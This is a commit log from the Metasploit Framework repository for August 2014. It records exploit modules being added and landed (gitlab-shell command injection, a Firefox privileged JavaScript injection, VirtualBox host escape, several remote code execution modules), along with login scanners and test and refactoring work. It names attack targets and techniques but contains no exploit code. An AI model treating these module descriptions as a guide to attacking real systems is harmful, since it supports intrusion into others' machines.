jvazquez-r7 9ef09a7725 Pass msftidy 2014-08-22 13:24:59 -05:00
jvazquez-r7 38e6576990 Update 2014-08-22 13:22:57 -05:00
jvazquez-r7 da0950df24 Land #3674, @todb-r7's patch for RangeWalker spec 2014-08-22 11:57:14 -05:00
jvazquez-r7 e93fbbd904 Land #3685, @pedrib's exploit for CVE-2014-3996 2014-08-22 11:45:41 -05:00
jvazquez-r7 cf147254ad Use snake_case in the filename 2014-08-22 11:44:35 -05:00
jvazquez-r7 823649dfa9 Clean exploit, just a little 2014-08-22 11:43:58 -05:00
jvazquez-r7 9815b1638d Refactor pick_target 2014-08-22 11:31:06 -05:00
Joe Vennix 95fbb8f1b7 Land PR #3672, dmaloney-r7's login scanner credential rework. 2014-08-22 11:15:32 -05:00
jvazquez-r7 ecace8beec Refactor check method 2014-08-22 11:05:36 -05:00
Brandon Turner 05f0d09828 Merge branch staging/electro-release into master
On August 15, shuckins-r7 merged the Metasploit 4.10.0 branch
(staging/electro-release) into master.  Rather than merging with
history, he squashed all history into two commits (see
149c3ecc63 and
82760bf5b3).

We want to preserve history (for things like git blame, git log, etc.).
So on August 22, we reverted the commits above (see
19ba7772f3).

This merge commit merges the staging/electro-release branch
(62b81d6814) into master
(48f0743d1b).  It ensures that any changes
committed to master since the original squashed merge are retained.

As a side effect, you may see this merge commit in history/blame for the
time period between August 15 and August 22.
2014-08-22 10:50:38 -05:00
jvazquez-r7 ced65734e9 Make some datastore options advanced 2014-08-22 10:26:04 -05:00
dmaloney-r7 6ee39f89de Merge pull request #13 from jvennix-r7/update-gemfile-lock-so-travis-can-run
Update lockfile in msf repo after `bundle install`
2014-08-22 10:24:10 -05:00
jvazquez-r7 b4e3e84f92 Use CamelCase for target keys 2014-08-22 10:23:36 -05:00
jvazquez-r7 b58550fe00 Indent description and fix title 2014-08-22 10:21:08 -05:00
Brandon Turner 19ba7772f3 Revert "Various merge resolutions from master <- staging"
This reverts commit 149c3ecc63.

Conflicts:
	lib/metasploit/framework/command/base.rb
	lib/metasploit/framework/common_engine.rb
	lib/metasploit/framework/require.rb
	lib/msf/core/modules/namespace.rb
	modules/auxiliary/analyze/jtr_postgres_fast.rb
	modules/auxiliary/scanner/smb/smb_login.rb
	msfconsole
2014-08-22 10:17:44 -05:00
inkrypto 7e2d474a26 Ranking, Version, Spacing Edit 2014-08-22 11:06:42 -04:00
joev 05afe416a9 Update lockfile to pull in new msf-cred versions. 2014-08-21 15:44:16 -05:00
inkrypto 7587997d73 Spell check 2014-08-21 12:47:25 -04:00
Christopher Truncer 3918acb1e1 Changed keyword used when returning 2014-08-21 12:34:54 -04:00
Christopher Truncer a0b72bba93 Updated module based on feedback 2014-08-21 12:26:41 -04:00
jvazquez-r7 fd05e634e8 Move once more let into describe 2014-08-21 10:41:37 -05:00
jvazquez-r7 b0a4ea6750 Move let helpers to describe groups 2014-08-21 10:39:16 -05:00
jvazquez-r7 6301d79162 Describe setters just expecting how assignement to properties should happen 2014-08-21 10:34:52 -05:00
jvazquez-r7 54395e38a0 Use a part subject to describe #add_part 2014-08-21 10:29:44 -05:00
darkbushido df62c4a29d setting the timeout to 180 2014-08-21 10:15:07 -05:00
darkbushido 264192e796 setting the timeout to 120 2014-08-21 10:00:35 -05:00
darkbushido 9e4b02abb1 increasing the aruba timeout to 240 seconds
msfconsole is taking over 60 seconds to load on travis
2014-08-21 09:45:53 -05:00
Pedro Ribeiro da752b0134 Add exploit for CVE-2014-3996 2014-08-21 15:30:28 +01:00
Christopher Truncer 383906c26c Removed function no longer used 2014-08-20 22:51:01 -04:00
Christopher Truncer c93bfb4673 Fixed targeturi value 2014-08-20 21:23:45 -04:00
Christopher Truncer 7f90b81711 IP Board Login Scanner Module 2014-08-20 21:18:19 -04:00
darkbushido 07ea8bedb5 Merge branch 'master' into aruba-testing 2014-08-20 20:06:40 -05:00
darkbushido 715f54b755 trying to get travis-ci to run cucumber 2014-08-20 19:43:13 -05:00
Jon Hart 9f9f28cc31 If a peer is 127.0.0.1, don't try to store it because we (currently...) can't 2014-08-20 15:48:54 -07:00
Jon Hart 9db3dc7ad8 Store peer data note in the same format as originally 2014-08-20 15:10:45 -07:00
Jon Hart 758c3fa518 Only discard monlist replies that are impossibly short
This fixes the case where if a monlist reply only includes one peer
2014-08-20 15:02:21 -07:00
Jon Hart 7ad9300d37 Update ntp_monlist to use UDPScanner, NTP and DRDoS mixins 2014-08-20 14:41:00 -07:00
darkbushido 73911e9007 adding in the positive test case 2014-08-20 15:54:49 -05:00
David Maloney 48f0743d1b remove crappy basedir method
this method is no lopnger needed
2014-08-20 15:28:36 -05:00
David Maloney 6bc55bf8cc change is_apt method 2014-08-20 15:27:11 -05:00
David Maloney b547f7fc75 fix msfbasedir for go_pro
go_pro uses the wrong base director y for starting
up metasploit pro when using the go_pro command
this caused errors
2014-08-20 15:22:18 -05:00
Jon Hart 8fd4ee87ab Allow singular NTP version and mode 7 implementation testing 2014-08-20 12:21:39 -07:00
jvazquez-r7 9d007a8c63 Add @jlee-r7's feedback 2014-08-20 12:04:33 -05:00
Tod Beardsley f9b902c6cc Land #3681, restore rake and rspec functionality
Since this is a more complete fix than #3678 and #3679, this merge
closes #3678 and closes #3679. Lets see if that magic syntax works!
2014-08-20 11:27:09 -05:00
James Lee cef4ddf535 Fix a crash when msfconsole is a symlink 2014-08-20 11:03:41 -05:00
James Lee c3e8bc8fa0 Fix a crash when we can't connect to PG, again 2014-08-20 11:02:46 -05:00
darkbushido 15a7ed0031 adding scenarios for booting msfconsole without a db 2014-08-20 11:02:11 -05:00
James Lee fa27def41f Revert "Fix a crash when we can't connect to PG"
This reverts commit b6deb6a342.
2014-08-20 11:01:29 -05:00
jvazquez-r7 9dcc95fb04 Fix Rex::MIME::Message#initialize boundaries parsing 2014-08-20 10:22:38 -05:00
jvazquez-r7 e8a6307df1 Fix Rex::MIME::Header#parse 2014-08-20 09:42:44 -05:00
jvazquez-r7 e5fc0a007f Add some Message specs 2014-08-20 09:31:49 -05:00
jvazquez-r7 e4b586a96d Add specs for add_part_inline_attachment 2014-08-20 08:32:58 -05:00
John Sawyer 1959f7a235 Updated shodan_search for new API 2014-08-20 00:48:13 -04:00
OJ a6b7262611 Updated to meterpreter_bins version 0.0.7
This has been a long time coming! Kiwi has been broken for a while and
this updated fixes that problem.

Details of the binaries build date/commits are in the gemspec in the
main meterpreter_bins repo.
2014-08-20 12:30:34 +10:00
William Vu f0f5772217 Land #3675, firefox_svg_plugin un-deprecation 2014-08-19 17:52:41 -05:00
sinn3r e2e2dfc6a3 Undo FF 2014-08-19 17:47:44 -05:00
sinn3r 777efb5e48 Land #3669 - Deprecate ff 17 svg exploit 2014-08-19 17:42:31 -05:00
sinn3r c73ec66c7a Land #3659 - Add HybridAuth install.php PHP Code Execution 2014-08-19 17:19:01 -05:00
jvazquez-r7 381c88f814 Add specs for add_part and add_part_attachment 2014-08-19 17:06:59 -05:00
Tod Beardsley a4c6a10edb The .foo domain is live now.
I still kinda hate these tests, though, since they fail in wildcard DNS
environments (like OpenDNS).
2014-08-19 16:47:30 -05:00
dmaloney-r7 0c9dafff54 Merge pull request #3673 from jlee-r7/bug/MSP-11061/crash-without-postgres
Fix a crash when we can't connect to PG
2014-08-19 16:16:30 -05:00
James Lee b6deb6a342 Fix a crash when we can't connect to PG
MSP-11061

No Postgres, no cry
2014-08-19 15:30:24 -05:00
Tod Beardsley 08430ee7ac Land #3616, cred gem for imap from @TomSellers 2014-08-19 15:26:12 -05:00
Tom Sellers 74920d26a4 Update to server/capture/imap.rb for new Credential system 2014-08-19 15:25:31 -05:00
jvazquez-r7 0585b13398 Add first specs for Rex::MIME::Message 2014-08-19 15:17:17 -05:00
darkbushido f80fd68480 adding more scenarios
updating ms08-067's scenarios so they are testing show options and show advanced
changing the scenario descriptions and feature descriptions for help.feature and
ms08-067
2014-08-19 15:06:47 -05:00
darkbushido 8f3f37dd54 updating how cucumber loads features
starting to use a cucumber.yml to store the profile configs
we will not be running @targets by default
2014-08-19 15:05:47 -05:00
darkbushido fd9e92bb24 Merge branch 'master' into aruba-testing 2014-08-19 14:31:53 -05:00
Tod Beardsley 170c8b699a Land #3617 from @TomSellers, ftp anon scanner 2014-08-19 13:22:30 -05:00
sinn3r 311cc5befb Land #3668 - Add specs for Rex::Exploitation::HeapLib 2014-08-19 13:14:24 -05:00
Tom Sellers 3fdad4dc91 Update auxillary/scanner/ftp with Credential Gem 2014-08-19 13:13:05 -05:00
sinn3r 7bf637716a Land #3663 - Add specs for Rex::Exploitation::EncryptJS 2014-08-19 13:08:14 -05:00
William Vu dc95b01cc5 Land #3670, smb_login private_type fix
[FixRM #8841]
2014-08-19 11:30:23 -05:00
William Vu b748cee760 Land #3664, enum_osx dump_hash removal 2014-08-19 11:29:23 -05:00
jvazquez-r7 325c05d0e0 Land #3671, @wchen-r7's fix for RangeWalker spec 2014-08-19 11:01:14 -05:00
sinn3r f3528c929f geez, glassfish gtf outta there 2014-08-19 10:40:52 -05:00
sinn3r ad241910d0 This is more invalid than the other one 2014-08-19 10:39:50 -05:00
David Maloney e9dea358b8 gemfile change 2014-08-19 10:32:44 -05:00
David Maloney 473b92a060 Merge branch 'master' into feature/MSP-10992/scanner-dry
Conflicts:
	Gemfile.lock
	lib/metasploit/framework/command/console.rb
	lib/metasploit/framework/common_engine.rb
	lib/metasploit/framework/credential.rb
	lib/metasploit/framework/credential_collection.rb
	lib/metasploit/framework/login_scanner/afp.rb
	lib/metasploit/framework/login_scanner/axis2.rb
	lib/metasploit/framework/login_scanner/db2.rb
	lib/metasploit/framework/login_scanner/ftp.rb
	lib/metasploit/framework/login_scanner/http.rb
	lib/metasploit/framework/login_scanner/mssql.rb
	lib/metasploit/framework/login_scanner/mysql.rb
	lib/metasploit/framework/login_scanner/pop3.rb
	lib/metasploit/framework/login_scanner/postgres.rb
	lib/metasploit/framework/login_scanner/result.rb
	lib/metasploit/framework/login_scanner/smb.rb
	lib/metasploit/framework/login_scanner/snmp.rb
	lib/metasploit/framework/login_scanner/ssh.rb
	lib/metasploit/framework/login_scanner/telnet.rb
	lib/metasploit/framework/login_scanner/vnc.rb
	lib/metasploit/framework/parsed_options/console.rb
	lib/metasploit/framework/require.rb
	lib/metasploit/framework/version.rb
	lib/msf/core/modules/namespace.rb
	modules/auxiliary/analyze/jtr_postgres_fast.rb
	modules/auxiliary/scanner/afp/afp_login.rb
	modules/auxiliary/scanner/db2/db2_auth.rb
	modules/auxiliary/scanner/ftp/ftp_login.rb
	modules/auxiliary/scanner/http/axis_login.rb
	modules/auxiliary/scanner/http/http_login.rb
	modules/auxiliary/scanner/http/tomcat_mgr_login.rb
	modules/auxiliary/scanner/mssql/mssql_login.rb
	modules/auxiliary/scanner/mysql/mysql_login.rb
	modules/auxiliary/scanner/pop3/pop3_login.rb
	modules/auxiliary/scanner/postgres/postgres_login.rb
	modules/auxiliary/scanner/snmp/snmp_login.rb
	modules/auxiliary/scanner/ssh/ssh_login.rb
	modules/auxiliary/scanner/ssh/ssh_login_pubkey.rb
	modules/auxiliary/scanner/telnet/telnet_login.rb
	modules/auxiliary/scanner/vnc/vnc_login.rb
	modules/auxiliary/scanner/winrm/winrm_login.rb
	spec/lib/metasploit/framework/credential_spec.rb
	spec/lib/msf/core/framework_spec.rb
2014-08-19 10:30:16 -05:00
sinn3r 17b03e7d34 Fix rspec due to an invalid dns becoming valid 2014-08-19 10:28:30 -05:00
darkbushido a09037ffa3 Merge branch 'master' into aruba-testing
Conflicts:
	.rubocop.yml
	Gemfile
	Gemfile.lock
	Rakefile
	lib/metasploit/framework/command/console.rb
	lib/metasploit/framework/common_engine.rb
	lib/metasploit/framework/parsed_options/console.rb
	lib/metasploit/framework/require.rb
	lib/metasploit/framework/version.rb
	lib/msf/core/modules/namespace.rb
	modules/auxiliary/analyze/jtr_postgres_fast.rb
	spec/lib/msf/core/framework_spec.rb
2014-08-19 09:06:53 -05:00
OJ e0df664656 Land #3653 : NETAPI x64 fixes 2014-08-19 11:40:43 +10:00
sinn3r 7330e3585f Support Glassfish 4.0 and lots of other changes 2014-08-18 19:03:26 -05:00
jvazquez-r7 663e11f16b Add specs for Rex::MIME::Part 2014-08-18 18:03:27 -05:00
jvazquez-r7 85662d5ccd Add specs for Rex::MIME::Header 2014-08-18 17:33:26 -05:00
jvazquez-r7 73ac0e9537 Add specs for Rex::MIME::Encoding 2014-08-18 16:04:08 -05:00
James Lee f169b8dff3 Fix hashes being stored as passwords 2014-08-18 15:52:13 -05:00
joev b93fda5cef Remove browser_autopwn hook from deprecated FF module. 2014-08-18 15:33:43 -05:00
joev 87aa63de6e Deprecate FF17 SVG exploit.
This exploit needs flash, the tostring_console injection one does not.
2014-08-18 15:32:51 -05:00
cdoughty-r7 5fac1510bc Merge pull request #3667 from todb-r7/fix-release
Release fixes: Minor caps, grammar, desc fixes
2014-08-18 14:06:01 -05:00
Brendan Coles 564431fd41 Use arrays in refs for consistency 2014-08-18 18:54:54 +00:00
jvazquez-r7 f812d2619c Fix load_js when opts[:newobfu] and add specs 2014-08-18 13:50:19 -05:00
Tod Beardsley 6792ded714 Land #3666, fix msfconsole start w/out database 2014-08-18 13:44:20 -05:00
Tod Beardsley cad281494f Minor caps, grammar, desc fixes 2014-08-18 13:35:34 -05:00
James Lee b9e449f5e2 Fix crash when database.yml doesn't exist 2014-08-18 12:40:57 -05:00
jvazquez-r7 3dae6ee934 Not prefixing the class when describing method 2014-08-18 12:19:30 -05:00
jvazquez-r7 2dc579d467 Add template for specs 2014-08-18 12:16:20 -05:00
jvazquez-r7 75df32b1d3 Use single quoted strings out of the spec strings 2014-08-18 11:43:54 -05:00
joev 5654370316 Remove hashdump functionality from enum_osx.
There is a specific hashdump module that is more up-to-date, no need to duplicate
functionality (and code).
2014-08-18 11:40:11 -05:00
sinn3r 7c1605efe4 Land #3662 - Fix android payload issue when running browser_autopwn 2014-08-18 11:38:28 -05:00
jvazquez-r7 4ffd166918 Add specs for Rex::Exploitation::EncryptJS 2014-08-18 11:31:36 -05:00
Vincent Herbulot fd40a68525 Added YARD documentation to lib/msf/http/jboss 2014-08-18 18:19:37 +02:00
joev 5bfbb7654e Add android meterpreter to browser autopwn. 2014-08-18 11:09:16 -05:00
Vincent Herbulot 2b59337e9a Jboss spec modifications.
Various changes in the jboss spec to match the newly refactored
methods in lib/msf/http/jboss.
2014-08-18 17:19:09 +02:00
William Vu c5c63f44e9 Land #3661, binary coding for libs 2014-08-17 18:01:19 -05:00
HD Moore 5e123e024d Add 'coding: binary' to all msf/rex library files
This fixes a huge number of hard-to-detect runtime bugs
that occur when a default utf-8 string from one of these
libraries is passed into a method expecting ascii-8bit
2014-08-17 17:31:53 -05:00
HD Moore d8e82b9394 Lands #3655, fixes pack operators
the commit.
he commit.
2014-08-17 17:25:52 -05:00
Brendan Coles b8b2e3edff Add HybridAuth install.php PHP Code Execution module 2014-08-16 23:31:46 +00:00
HD Moore 6d92d701d7 Merge feature/recog into post-electro master for this PR 2014-08-16 01:19:08 -05:00
sinn3r e656a81c63 Land #3656 - FF toString console.time Privileged Javascript Injection 2014-08-15 17:07:23 -05:00
joev 6d958475d6 Oops, this doesn't work on 23, only 22. 2014-08-15 17:00:58 -05:00
joev fb1fe7cb8b Add some obfuscation. 2014-08-15 16:54:30 -05:00
joev b574a4c4c5 Wow, this gets a shell all the way back to 15.0. 2014-08-15 16:39:36 -05:00
joev 5706371c77 Update browser autopwn settings. 2014-08-15 16:32:06 -05:00
joev 8c63c8f43d Add browserautopwn hook now that this is not user-assisted. 2014-08-15 16:28:21 -05:00
joev 694d917acc No need for web console YESSSS 2014-08-15 16:02:26 -05:00
joev 738a295f0a Rename module to tostring_console*. 2014-08-15 15:17:37 -05:00
Meatballs 0cc3bdfb35 Moar bad packs 2014-08-15 21:11:37 +01:00
joev f182613034 Invalid CVE format. 2014-08-15 15:09:45 -05:00
joev edb9d32e5c Add module for toString() injection in firefox. 2014-08-15 15:08:10 -05:00
inkrypto 7972da350d Files move to appropriate directories and have proper formatting 2014-08-15 14:37:29 -04:00
inkrypto 92750ccc03 Remove emc files 2014-08-15 14:30:19 -04:00
Tod Beardsley 904c1b20b1 Land #3654, update to 4.10-dev (electro) 2014-08-15 12:51:28 -05:00
Samuel Huckins 82760bf5b3 Deprecation warnings hidden for non-listeners 2014-08-15 12:33:44 -05:00
Samuel Huckins 149c3ecc63 Various merge resolutions from master <- staging
* --ask option ported to new location
* --version option now works
* MSF version updated
* All specs passing
2014-08-15 11:33:31 -05:00
jvazquez-r7 4cfd2abd8d Land #3621, @kaospunk's exploit for gitlab-shell CVE-2013-4490 command injection 2014-08-15 09:17:16 -05:00
jvazquez-r7 4e0f6dfcc7 Do minor cleanup 2014-08-15 09:10:08 -05:00
darkbushido ac29ba957c Merge branch 'staging/electro-release' into aruba-testing 2014-08-15 09:02:53 -05:00
Meatballs 8302e82ca1 Use x64 ptr sizes 2014-08-14 23:32:04 +01:00
Jay Smith b55f425ec0 Merge in changes from @todb-r7. 2014-08-14 17:22:07 -04:00
Samuel Huckins 1183c5cfeb Merge branch 'update-rubocop-yaml' 2014-08-14 12:44:30 -05:00
Samuel Huckins 9553bfc45f Merge branch 'remove-rubocop' 2014-08-14 12:41:04 -05:00
Samuel Huckins 45490e7e59 Merge branch 'master' of github.com:rapid7/metasploit-framework 2014-08-14 12:36:41 -05:00
Tod Beardsley a80d4c25a6 Be more forceful about Rubocop in CONTRIBUTING.md 2014-08-14 11:51:44 -05:00
Tod Beardsley ee968db9ef Include .rubocop.yml from PR #3649 2014-08-14 11:20:19 -05:00
Tod Beardsley fbb8262704 More .rubocop.yml exceptions
While we expect to remove Rubocop via PR rapid7#3639 , the Rubocop YAML
file is still useful for those developers that want to use Rubocop on
their own. Like me, for instance.
2014-08-14 11:17:14 -05:00
Brandon Turner 62b81d6814 Merge pull request #3644 from dmaloney-r7/bug/MSP-11050/rails_root
MSP-11050 #land
2014-08-14 08:52:15 -05:00
inkrypto 5fee4df2c0 BA EMC modules 2014-08-13 23:18:43 -04:00
sinn3r f91116a8e8 Land #3634 - Virtual box 3D Acceleration OpenGL Host escape 2014-08-13 20:08:13 -05:00
kaospunk 5ed3e6005a Implement suggestions
This commit addresses feedback such as adding a check
function and changing the login fail case by being
more specific on what is checked for. The failing
ARCH_CMD payloads were addressed by adding BadChars.
Last, an ARCH_PYTHON target was added based on
@zerosteiner's feedback.
2014-08-13 20:26:48 -04:00
darkbushido 565f622fe0 renaming targets.yml to .example
ignoring the targets.yml file
2014-08-13 17:40:51 -05:00
darkbushido 0d045d007a moving the module file
adding some comments on things we should not see when running
msfconsole
2014-08-13 17:37:40 -05:00
Lance Sanchez e7f773fda2 Merge pull request #2 from jhart-r7/target_hooks
Target hooks
2014-08-13 17:35:21 -05:00
Jon Hart e66d2c8d19 Merge branch 'aruba-testing' into target_hooks 2014-08-13 15:29:53 -07:00
Jon Hart 0bb9214753 Add missed files 2014-08-13 15:25:41 -07:00
Jon Hart 2f45d2c72e Add @target hooks to set RHOST/RHOSTS from config 2014-08-13 15:22:09 -07:00
darkbushido 74daf14e54 moving the scenarios around 2014-08-13 17:02:11 -05:00
darkbushido 2409da9555 cutting down on steps calling steps 2014-08-13 16:46:36 -05:00
Lance Sanchez 372178b523 Merge pull request #1 from jhart-r7/aruba-testing
Add @msfconsole tag, simpler module example
2014-08-13 16:44:05 -05:00
jvazquez-r7 127d094a8d Dont share once device is opened 2014-08-13 16:13:38 -05:00
Jon Hart fa6d356425 Add @msfconsole tag, simpler module example 2014-08-13 13:55:11 -07:00
darkbushido c82ba34f7c working on a first pass at cucumber for framework 2014-08-13 14:28:28 -05:00
sinn3r 558cea6017 Land #3638 - Add VMTurbo Operations Manager 'vmtadmin.cgi' RCE 2014-08-13 11:55:56 -05:00
jvazquez-r7 e0ed777d0b Land #3646, @Meatballs1 tidy of virtual_box_guest_additions 2014-08-13 08:44:10 -05:00
Meatballs 05a198bc96 Correct spelling 2014-08-13 14:06:25 +01:00
Spencer McIntyre 56c96f3aa2 Land #3647, @Meatballs1 correct unpack specifier 2014-08-13 08:44:38 -04:00
Meatballs 256204f2af Use correct pack/unpack specifier 2014-08-13 11:36:16 +01:00
Meatballs 4a01c27ed4 Use get_env and good pack specifier 2014-08-13 10:59:22 +01:00
Emilio Pinna 4ff73a1467 Add version build check 2014-08-13 09:53:43 +02:00
James Lee b7e4bd4080 Fix 'domain\user' reporting in mremote 2014-08-12 18:01:42 -05:00
jvazquez-r7 50e2e325d7 Land #3534, @KoreLogicSecurity's exploit for CVE-2014-2477 2014-08-12 17:18:34 -05:00
jvazquez-r7 da4b572a0d Change module name 2014-08-12 17:17:26 -05:00
jvazquez-r7 3eccc12f50 Switch from vprint to print 2014-08-12 17:11:24 -05:00
jvazquez-r7 f203fdebcb Use Msf::Exploit::Local::WindowsKernel 2014-08-12 17:09:39 -05:00
jvazquez-r7 e1debd68ad Merge to update 2014-08-12 16:21:39 -05:00
jvazquez-r7 183b27ee27 There is only one target 2014-08-12 16:14:41 -05:00
jvazquez-r7 c8e4048c19 Some style fixes 2014-08-12 16:11:31 -05:00
jvazquez-r7 ea3d2f727b Dont fail_with while checking 2014-08-12 16:09:59 -05:00
Emilio Pinna 3440f82b2e Minor description adjustment 2014-08-12 22:18:59 +02:00
Emilio Pinna 9e38ffb797 Add the check for the manual payload setting 2014-08-12 21:55:42 +02:00
sinn3r b84192c654 Land #3642 - Be sure which the full payload is used 2014-08-12 14:52:26 -05:00
jvazquez-r7 93990f4578 Land #3631, @wchen-r7's fixes to avoid datastore options assignment at runtime 2014-08-12 14:46:02 -05:00
jvazquez-r7 b46b6af50d Land #3630, @wchen-r7's fix for datastore assignments on smb_enumusers 2014-08-12 14:26:55 -05:00
David Maloney 84374fe92c Merge branch 'staging/electro-release' into bug/MSP-11050/rails_root 2014-08-12 13:54:38 -05:00
David Maloney 12f1234296 always set our rails root to our root
this works fine when calling any framework binaries
from their path as CWD. if you call tehm from another path
you will get an incorrect root which can cause certain things to load
incorrectly

Signed-off-by: David Maloney <DMaloney@rapid7.com>
2014-08-12 13:53:28 -05:00
jvazquez-r7 33da1a6871 Give a chance to the mixin 2014-08-12 13:49:39 -05:00
Emilio Pinna 5b6be55c50 Fix (properly) 'execute_command()' missing 'opts' parameter 2014-08-12 19:49:27 +02:00
Tod Beardsley bbcd63cd10 Update Gemfile.lock as well for PR #3639 2014-08-12 12:28:39 -05:00
Emilio Pinna 3af17ffad0 Fixed 'execute_command()' missing 'opts' parameter 2014-08-12 19:24:24 +02:00
Samuel Huckins fc65a45d94 Merge branch 'electro-remove-rubocop' into staging/electro-release 2014-08-12 12:03:16 -05:00
jvazquez-r7 042423088c Make sure which the full payload is used 2014-08-12 11:41:29 -05:00
David Maloney fcfce9efec Merge branch 'staging/electro-release' into feature/MSP-10992/scanner-dry 2014-08-12 11:22:51 -05:00
Brandon Turner c937c4b8b3 Merge pull request #3641 from limhoff-r7/bug/MSP-11046/resource
MSP-11046 #land
2014-08-12 11:10:39 -05:00
Tod Beardsley 6b262cb3b4 Remove rubocop and msftidy touchpoints
This replicates PR rapid7#3639 for the staging/electro-release branch

Rubocop replaces the default YAML library which makes development
testing difficult. It does not cause problems on Travis, but according
to reports, it does cause instability with many individual dev
environments.

While I would love to have a more solid source of this bug report, right
now this was an oral report from @shuckins-r7 (who I tend to believe a
lot).

(Conflict resolved on rubocop.yml)
2014-08-12 10:51:09 -05:00
Luke Imhoff e051272a20 Fix typo
MSP-11046

`ActiveSupport::OrderedOptions` automatically create an attribute for
any missing keys, so when `options.console.resource` was used it would
return `nil` instead of the erroring.  The correct option name was
`options.console.resources` (note the pluralization).
2014-08-12 10:49:35 -05:00
Luke Imhoff 225c6da616 Remove rubocop because it causes backtrace
MSP-11046

See https://gist.github.com/limhoff-r7/7c398b5f4c44ed40cf1f
2014-08-12 10:47:26 -05:00
Tod Beardsley 47cb906408 Remove rubocop and msftidy touchpoints
Rubocop replaces the default YAML library which makes development
testing difficult. It does not cause problems on Travis, but according
to reports, it does cause instability with many individual dev
environments.

While I would love to have a more solid source of this bug report, right
now this was an oral report from @shuckins-r7 (who I tend to believe a
lot).
2014-08-12 10:37:58 -05:00
Luke Imhoff 427cc5f7ed Merge remote-tracking branch 'upstream/staging/electro-release' into staging/electro-release 2014-08-12 10:04:58 -05:00
cx c937e80521 Added Fixes#2 mentioned by Firefart
Details:
* MSF's HTTP::Wordpress class included and wordpress related
variables are used.
2014-08-12 15:16:43 +03:00
Emilio Pinna f71589f534 Simplify payload upload using 'CmdStager' mixin 2014-08-12 10:49:17 +02:00
sinn3r 4aeb1eda9c Don't use datastore options as default values 2014-08-11 18:55:32 -05:00
kaospunk 4e6a04d3ad Modifications for login and key addition
This commit adds additional support for logging in
on multiple versions of Gitlab as well as adding a
key to exploit the vulnerability.
2014-08-11 19:54:10 -04:00
Emilio Pinna cc5770558d Remove local payload saving used for debugging 2014-08-11 19:16:14 +02:00
Emilio Pinna 4790b18424 Use FileDropper mixin to delete uploaded file 2014-08-11 19:02:09 +02:00
Emilio Pinna ac526ca9bd Fix print_* to vprint_* in check method 2014-08-11 18:58:11 +02:00
Emilio Pinna 4b4b24b79d Fix errors printing 2014-08-11 18:54:43 +02:00
Emilio Pinna c97cd75beb Rephrase 'Author' section 2014-08-11 18:52:21 +02:00
Emilio Pinna 0138f3648d Add VMTurbo Operations Manager 'vmtadmin.cgi' Remote Command Execution module. 2014-08-11 16:57:39 +02:00
cx c90434c926 Added Fixes mentioned by Firefart
Details:
* string interpolation removed
* Minor styling issues are fixed
  * peer var used
* target_uri added instead of datastore
2014-08-11 14:37:39 +03:00
kaospunk a995bcf2ef Fix URI building and failure cases
This update uses the normalize_uri method for building
URIs. Additionally, failure cases have been modified
for a less generic version.
2014-08-10 19:53:33 -04:00
Meatballs 351b687759 Land #3612, Windows Local Kernel exploits refactor 2014-08-10 22:05:06 +01:00
Meatballs b277f588fb Use railgun helper functions 2014-08-10 21:52:12 +01:00
Jon Hart 8e626c1b60 Add rspec coverage for Msf::Auxiliary::DRDoS 2014-08-09 21:12:10 -07:00
joev af3ca19ab2 Land #3501, @AnwarMohamed's android meterpreter commands. 2014-08-09 16:29:59 -05:00
Anwar Mohamed 92432503ce Merge pull request #5 from jvennix-r7/android_ext3
Final-round of code tweaks. All commands working well.
2014-08-09 23:45:45 +03:00
Tod Beardsley ef2663a050 Land #3637, on stage, from unknown 2014-08-09 14:16:06 -05:00
Tod Beardsley 08bb815bd8 Add Yokogawa unauth admin module 2014-08-09 13:30:10 -05:00
joev dbaa377aa1 Final-round of code tweaks. All commands working well. 2014-08-09 13:04:52 -05:00
jvazquez-r7 486b5523ee Refactor set_version 2014-08-09 02:17:07 -05:00
jvazquez-r7 d959affd6e Delete debug message 2014-08-09 01:58:42 -05:00
jvazquez-r7 da04b43861 Add module for CVE-2014-0983 2014-08-09 01:56:38 -05:00
Jon Hart d6198c786d Move rdoc for Msf::Auxiliary::DRDoS 2014-08-08 23:23:48 -07:00
Jon Hart a5e9abc227 Update R7-2014-12 NTP modules to use new DRDoS mixin 2014-08-08 23:15:54 -07:00
Jon Hart ddcaa11216 Add new mixin for helping to detect DRDoS vulns 2014-08-08 23:15:09 -07:00
Jon Hart c48cf48d85 Return the NTP message, not the string 2014-08-08 21:39:48 -07:00
Jon Hart 00452b41c9 Gut admin functions from R7-2014-12 NTP modules
None of these are admin modules.  All of that stuff should eventually go
in auxiliary/admin
2014-08-08 21:22:11 -07:00
Jon Hart ed3ccdc9e0 Initial commit of modules for NTP vulns described in R7-2014-12
Not entirely functional or polished, but mostly working
2014-08-08 21:00:43 -07:00
Jon Hart 3307726c21 Land #3627, @wchen-r7's cleanup of ctypes in smb_enumshares 2014-08-08 19:17:15 -07:00
Jon Hart 73253b575a Land #3626, @wchen-r7's storing of text loot as txt 2014-08-08 18:57:38 -07:00
Jon Hart b3bb20f569 Land #3629, @wchen-r7's HTTP traversal fixes 2014-08-08 18:08:32 -07:00
Jon Hart c35dc4d3ac Extract query params separately
Prevents stomping on data
2014-08-08 18:07:25 -07:00
sinn3r 93174a818b Land #3628 - Add --ask option in msfconsole 2014-08-08 11:03:15 -05:00
sinn3r 969e5ddd39 Override the correct smb_direct 2014-08-07 18:48:46 -05:00
sinn3r 3b27102c4c Override the correct smb_direct 2014-08-07 18:47:33 -05:00
sinn3r 436e2abfff Fix datastore options 2014-08-07 17:59:40 -05:00
sinn3r 1963318e70 Fix datastore options 2014-08-07 17:58:25 -05:00
sinn3r ab8f2c7d3f Datastore option fix 2014-08-07 17:57:44 -05:00
sinn3r 6f8c7f092a Fix direct datastore assignments to pass msftidy 2014-08-07 17:51:45 -05:00
sinn3r 2967d85e44 Land #3624 - Wordpress XMLRPC DoS 2014-08-07 17:25:22 -05:00
Iquaba b33d2b8583 Adds a newline for readability 2014-08-07 13:49:13 -05:00
Iquaba 6cea921478 Adds --ask option to prompt before exiting msfconsole 2014-08-07 13:44:46 -05:00
sinn3r c79fe731c5 Um, this is the right way to do it. 2014-08-07 13:32:48 -05:00
sinn3r f7bda738cf Fix file handle leak 2014-08-07 13:30:34 -05:00
sinn3r 711630d059 Fix datastore assignments 2014-08-07 13:28:51 -05:00
sinn3r c7090f57a5 Fix "text" ctype in smb_enumshares
"text" is not a valid ctype, should be text/plain
2014-08-07 11:25:55 -05:00
Christian Mehlmauer a7be5b5164 Added fingerprinting 2014-08-07 18:12:58 +02:00
sinn3r e432f3f442 Support all text-based ctypes 2014-08-07 11:10:32 -05:00
sinn3r f3d90ada14 Land #3625 - Update adobe_pdf_embedded_exe target description 2014-08-07 11:01:30 -05:00
